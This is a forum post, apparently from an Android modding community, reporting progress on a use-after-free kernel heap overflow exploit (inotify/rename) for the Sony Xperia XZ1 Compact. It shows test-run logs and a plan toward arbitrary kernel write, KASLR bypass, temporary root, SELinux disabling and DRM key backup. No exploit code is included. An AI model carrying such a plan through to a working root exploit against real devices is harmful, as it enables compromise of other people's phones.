[Sony Xperia XZ1 Compact ROMs, Kernels, Recoveries,] j4nn:
Good news guys: my implementation of inotify/rename exploit now works with long filenames, allowing kernel heap (256 bytes slub unit) overflow.

Here is an output with qemu with kernel patched to provide internal timings (artificial delays for better probabilities not patched in):

/data/local/tmp # time ./mytest-linux -Q -l -k
rate 62500000,1000
main 0,0
rename 1,0
notify 2,-10
handler 3,0
prtimer 2,-10
tmtype 3,0
tmfixup 1
tmtest 20,0
longn 1
kernelp 1
spray 4,3,-10,5078125
offset -7300
trials 1000
logging 1,0,0

trigger wout notify ev0=4957 ev1=8168 (trial=0)
trigger with notify ev0=7299 ev1=10167 (trial=0)

test at -7300 offset with 1000 trials:
DETECTED OVERWRITE (event#392, hits=1, i=0, offset=-7300, och='f', nch='p'):
trigger_ev0_start= 475823723866
prtimer_start + 28721
prtimer_done + 3154419
trigger_ev0_end + 2545491
trigger_ev1_start + 2545544
trigger_ev1_end + 2566149
event_ts + 2563836
fsnot_ev0_start + 7835
fsnot_ev0_strlen + 9277
fsnot_ev0_strcpy + 2538679
fsnot_ev0_strcpy_done + 2538969
fsnot_ev1_start + 2563312
fsnot_ev1_strlen + 2563987
fsnot_ev1_strcpy + 2564360
fsnot_ev1_strcpy_done + 2564482
copy_name + 97733
kfrcu_start + 97841
kfrcu_kfree + 1297133
add_key + 1355964
status = 0x0b
overwrites = 1 (raw=1 kcpname_hits=79 tmouts=2) from 1000 trials at -7300 offset
real 1m 55.92s
user 1m 14.79s
sys 3m 34.96s

And even better I've managed to make it work with real still locked XZ1c too (obviously kernel cannot be patched so we get only userspace timing here):

130|G8441:/data/local/tmp $ time ./mytest-linux -l
rate 19200000,24000
main 0,0
rename 1,0
notify 2,-10
handler 3,0
prtimer 2,-10
tmtype 3,0
tmfixup 1
tmtest 20,0
longn 1
kernelp 0
spray 16,7,-10,1560000
offset -88
trials 1000
logging 1,0,0

trigger wout notify ev0=23 ev1=47 (trial=0)
trigger with notify ev0=44 ev1=69 (trial=0)

test at -88 offset with 1000 trials:
DETECTED OVERWRITE (event#308, hits=1, i=0, offset=-88, och='f', nch='p'):
trigger_ev0_start=8259394707573
prtimer_start + 591
prtimer_done + 1921167
trigger_ev0_end + 1730940
trigger_ev1_start + 1730941
trigger_ev1_end + 1731276
event_ts + 1731280
DETECTED OVERWRITE (event#1390, hits=2, i=0, offset=-88, och='f', nch='p'):
trigger_ev0_start=8260331859573
prtimer_start + 4510
prtimer_done + 1922686
trigger_ev0_end + 1729390
trigger_ev1_start + 1729390
trigger_ev1_end + 1730108
event_ts + 1730104
overwrites = 2 (raw=2 tmouts=2) from 1000 trials at -88 offset
1m37.48s real 1m11.33s user 6m05.85s system
G8441:/data/local/tmp $

It works pretty reliably now, you get at least one overflow in less than two minutes. When lucky I got 10 of them from the 1000 trials (two minutes) run.

But make no mistake, this is just a start (which took me unbelievably lot of effort to accomplish).

Now we need to actually implement the get-root exploit:

phase two

- convert my "use after free based inotify/rename slub overflow exploit" into an arbitrary kernel space write tool

- bypass kaslr (Kernel address space layout randomization)

- possibly needed to convert kernel space write into kernel space code execution ability

phase three

- change uid to root, disable selinux or whatever is needed to get full privileged temp root

phase four

- drm keys backup procedure (not sure if another security measures might be needed to overcome)

So that seems still like a lot of work that may need lots of time that I am afraid I do not have:(